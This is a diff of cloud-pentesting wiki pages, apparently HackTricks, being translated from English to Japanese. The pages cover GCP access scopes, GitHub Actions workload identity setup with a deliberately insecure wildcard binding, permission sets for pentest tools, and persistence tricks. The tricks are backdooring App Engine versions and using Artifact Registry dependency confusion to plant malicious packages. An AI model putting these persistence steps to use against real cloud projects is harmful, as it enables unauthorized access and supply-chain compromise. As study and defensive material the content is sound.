Google actually [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that **access scopes are not used and to rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programmatically.
|
||||
|
||||
You can see what **scopes** are **assigned** by **querying:**
|
||||
Googleは実際に[推奨しています](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions)が、**アクセススコープは使用せず、IAMに完全に依存すること**です。ウェブ管理ポータルは実際にこれを強制しますが、カスタムサービスアカウントを使用してプログラム的にインスタンスにアクセススコープを適用することは依然として可能です。
|
||||
|
||||
**スコープ**が**割り当てられている**かどうかは、**クエリを実行することで確認できます:**
|
||||
```bash
|
||||
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
|
||||
|
||||
{
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
前述の**scopes**は、データにアクセスするために**`gcloud`**を使用して**default**で生成されたものです。これは、**`gcloud`**を使用すると、最初にOAuthトークンを作成し、それを使用してエンドポイントに連絡するためです。
|
||||
|
||||
The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints.
|
||||
これらの中で最も重要なスコープは**`cloud-platform`**であり、基本的には**GCP内の任意のサービスにアクセス可能**であることを意味します。
|
||||
|
||||
The most important scope of those potentially is **`cloud-platform`**, which basically means that it's possible to **access any service in GCP**.
|
||||
|
||||
You can **find a list of** [**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like:
|
||||
[**ここにあるすべての可能なスコープのリストを見つけることができます**](https://developers.google.com/identity/protocols/googlescopes)**。**
|
||||
|
||||
**`gcloud`**ブラウザ資格情報がある場合、他のスコープでトークンを**取得することが可能**です。次のようなことを行います:
|
||||
```bash
|
||||
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
|
||||
|
||||
@@ -213,22 +204,17 @@ gcloud auth application-default print-access-token
|
||||
|
||||
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
|
||||
```
|
||||
## **Terraform IAMポリシー、バインディングおよびメンバーシップ**
|
||||
|
||||
## **Terraform IAM Policies, Bindings and Memberships**
|
||||
terraformによって定義されたように、[https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam)を使用してGCPで、リソースに対するアクセスを付与する方法はいくつかあります:
|
||||
|
||||
As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
|
||||
- **メンバーシップ**: **役割のメンバーとしてのプリンシパルを設定**し、役割やプリンシパルに対する**制限なし**で行います。ユーザーを役割のメンバーとして設定し、同じ役割のメンバーとしてグループを設定し、さらにそれらのプリンシパル(ユーザーとグループ)を他の役割のメンバーとして設定できます。
|
||||
- **バインディング**: 複数の**プリンシパルを役割にバインド**できます。これらの**プリンシパルは他の役割にバインドされたり、メンバーになったりすることができます**。ただし、役割にバインドされていないプリンシパルが**バインドされた役割のメンバーとして設定されると、次回**バインディングが適用されると、メンバーシップは消えます**。
|
||||
- **ポリシー**: ポリシーは**権威あるものであり**、役割とプリンシパルを示し、その後、**これらのプリンシパルは他の役割を持つことができず、これらの役割は他のプリンシパルを持つことができません**。そのポリシーが変更されない限り(他のポリシー、バインディング、またはメンバーシップでも)。したがって、ポリシーで役割またはプリンシパルが指定されると、そのすべての特権は**そのポリシーによって制限されます**。明らかに、プリンシパルにポリシーを変更するオプションや特権昇格の権限(新しいプリンシパルを作成し、新しい役割にバインドするなど)が与えられた場合、これを回避することができます。
|
||||
|
||||
- **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
|
||||
- **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
|
||||
- **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,10 +6,9 @@
|
||||
|
||||
### GCP
|
||||
|
||||
In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
|
||||
|
||||
- **Create the Service Account** to access from github actions with the **desired permissions:**
|
||||
GCPの**サービスアカウント**にGithubリポジトリから**Github Actions**へのアクセスを与えるためには、以下の手順が必要です:
|
||||
|
||||
- **必要な権限を持つサービスアカウントを作成**して、github actionsからアクセスできるようにします:
|
||||
```bash
|
||||
projectId=FIXME
|
||||
gcloud config set project $projectId
|
||||
@@ -24,134 +23,121 @@ gcloud services enable iamcredentials.googleapis.com
|
||||
# Give permissions to SA
|
||||
|
||||
gcloud projects add-iam-policy-binding $projectId \
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- Generate a **new workload identity pool**:
|
||||
|
||||
- **新しいワークロードアイデンティティプール**を生成する:
|
||||
```bash
|
||||
# Create a Workload Identity Pool
|
||||
poolName=wi-pool
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
|
||||
|
||||
- 新しい **ワークロードアイデンティティプール OIDC プロバイダー** を生成し、**信頼する** github actions(このシナリオでは org/repo 名によって):
|
||||
```bash
|
||||
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Finally, **allow the principal** from the provider to use a service principal:
|
||||
|
||||
- 最後に、**プロバイダーからのプリンシパル**がサービスプリンシパルを使用できるようにします:
|
||||
```bash
|
||||
gitHubRepoName="repo-org/repo-name"
|
||||
gcloud iam service-accounts add-iam-policy-binding $saId \
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
|
||||
> 前のメンバーでは、サービスアカウントにアクセスするための条件として**`org-name/repo-name`**を指定していることに注意してください(ブランチのような**より制限的な**他のパラメータも使用できます)。
|
||||
>
|
||||
> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
|
||||
> ただし、ワイルドカードを使用して次のようなプロバイダーを作成することで、**すべてのgithubが**サービスアカウントにアクセスできるようにすることも可能です:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
|
||||
<pre class="language-bash"><code class="lang-bash"># Workload Identity Poolを作成
|
||||
poolName=wi-pool2
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="デモプロバイダー" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
|
||||
<strong># CHECK THE WILDCARD
|
||||
<strong># ワイルドカードを確認
|
||||
</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
<strong> --member="principalSet://iam.googleapis.com/${poolId}/*"
|
||||
</strong></code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
|
||||
> It should be always something like this:
|
||||
> この場合、誰でもgithub actionsからサービスアカウントにアクセスできるため、**メンバーがどのように定義されているかを常に確認することが重要です**。\
|
||||
> 常に次のようなものであるべきです:
|
||||
>
|
||||
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
|
||||
|
||||
### Github
|
||||
|
||||
Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
|
||||
|
||||
**`${providerId}`**と**`${saId}`**をそれぞれの値に変更することを忘れないでください:
|
||||
```yaml
|
||||
name: Check GCP action
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
id-token: write
|
||||
|
||||
jobs:
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,54 +1,49 @@
|
||||
# GCP - Permissions for a Pentest
|
||||
|
||||
If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create:
|
||||
GCP環境をペンテストする場合は、**GCP**で使用されている**すべてまたはほとんどのサービス**を**確認するために十分な権限**を要求する必要があります。理想的には、クライアントに次のことを依頼するべきです:
|
||||
|
||||
* **Create** a new **project**
|
||||
* **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**.
|
||||
* **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION
|
||||
* **Enable** the **APIs** mentioned later in this post in the created project
|
||||
|
||||
**Set of permissions** to use the tools proposed later:
|
||||
* **新しい**プロジェクトを**作成**する
|
||||
* そのプロジェクト内に**サービスアカウント**を**作成**する(**json資格情報**を取得)または**新しいユーザー**を作成する。
|
||||
* **サービスアカウント**または**ユーザー**に、後で説明する**役割**を組織全体に**付与**する
|
||||
* 作成したプロジェクトで、この記事で後述する**API**を**有効**にする
|
||||
|
||||
**提案されたツールを使用するための権限のセット**:
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
|
||||
APIs to enable (from starbase):
|
||||
|
||||
APIsを有効にする(starbaseから):
|
||||
```
|
||||
gcloud services enable \
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
```
|
||||
|
||||
## Individual tools permissions
|
||||
## 個別ツールの権限
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
|
||||
|
||||
```
|
||||
From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration
|
||||
|
||||
@@ -61,9 +56,7 @@ roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/secretmanager.viewer
|
||||
```
|
||||
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions)
|
||||
|
||||
```
|
||||
From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions
|
||||
|
||||
@@ -71,60 +64,56 @@ roles/Viewer
|
||||
roles/iam.securityReviewer
|
||||
roles/stackdriver.accounts.viewer
|
||||
```
|
||||
|
||||
### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration)
|
||||
|
||||
```
|
||||
From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration
|
||||
|
||||
includedPermissions:
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
```
|
||||
|
||||
### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
|
||||
### [カートグラフィー](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
```
|
||||
From https://lyft.github.io/cartography/modules/gcp/config.html
|
||||
|
||||
@@ -132,9 +121,7 @@ roles/iam.securityReviewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/resourcemanager.folderViewer
|
||||
```
|
||||
|
||||
### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md)
|
||||
|
||||
```
|
||||
From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
|
||||
|
||||
@@ -143,6 +130,3 @@ roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - 永続性
|
||||
|
||||
@@ -2,24 +2,20 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Keys
|
||||
## API キー
|
||||
|
||||
For more information about API Keys check:
|
||||
API キーに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
### 新しいものを作成する / 既存のものにアクセスする
|
||||
|
||||
Check how to do this in:
|
||||
これを行う方法は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
App Engineに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify code
|
||||
### コードの変更
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
実行中のバージョンのコードを変更するか、新しいものを作成できれば、バックドアを実行させて持続性を維持できます。
|
||||
|
||||
### Old version persistence
|
||||
### 古いバージョンの持続性
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
**ウェブアプリケーションのすべてのバージョンが実行されます**。App Engineプロジェクトが複数のバージョンを実行していることがわかった場合、**バックドア**コードを含む**新しいバージョンを作成**し、その後**新しい正当な**バージョンを作成することで、最後のものが正当なものとなりますが、**バックドアが仕込まれたものも実行され続けます**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# GCP - Artifact Registry Persistence
|
||||
# GCP - アーティファクト レジストリの永続性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
## アーティファクト レジストリ
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
アーティファクト レジストリに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dependency Confusion
|
||||
### 依存関係の混乱
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
- **リモートと標準**のリポジトリが**仮想**リポジトリで**混在**し、パッケージが両方に存在する場合、どうなりますか?
|
||||
- **仮想リポジトリ**で**優先度が最も高く設定された**ものが使用されます
|
||||
- **優先度が同じ**の場合:
|
||||
- **バージョン**が**同じ**であれば、**仮想リポジトリ**で**アルファベット順に最初のポリシー名**が使用されます
|
||||
- そうでない場合は、**最も高いバージョン**が使用されます
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
> したがって、リモートリポジトリがより高いまたは同じ優先度を持っている場合、**公開パッケージレジストリ**で**最高バージョン(依存関係の混乱)**を**悪用**することが可能です
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
この技術は、**永続性**と**認証されていないアクセス**に役立ちます。悪用するには、アーティファクト レジストリに保存されている**ライブラリ名**を**知っている**必要があり、**同じライブラリを公開リポジトリ(例えばPythonのPyPi)に**より高いバージョンで**作成**するだけです。
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
永続性のために従うべき手順は次のとおりです:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
- **要件**: **仮想リポジトリ**が**存在**し、使用されている必要があります。**公開リポジトリ**に存在しない**名前**の**内部パッケージ**を使用する必要があります。
|
||||
- リモートリポジトリが存在しない場合は作成します
|
||||
- リモートリポジトリを仮想リポジトリに追加します
|
||||
- リモートリポジトリに**より高い(または同じ)優先度**を与えるために、仮想レジストリのポリシーを編集します。\
|
||||
次のようなコマンドを実行します:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- 正当なパッケージをダウンロードし、悪意のあるコードを追加して、同じバージョンで公開リポジトリに登録します。開発者がインストールするたびに、彼はあなたのものをインストールします!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
依存関係の混乱に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
BigQueryに関する詳細情報は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant further access
|
||||
### さらなるアクセスの付与
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
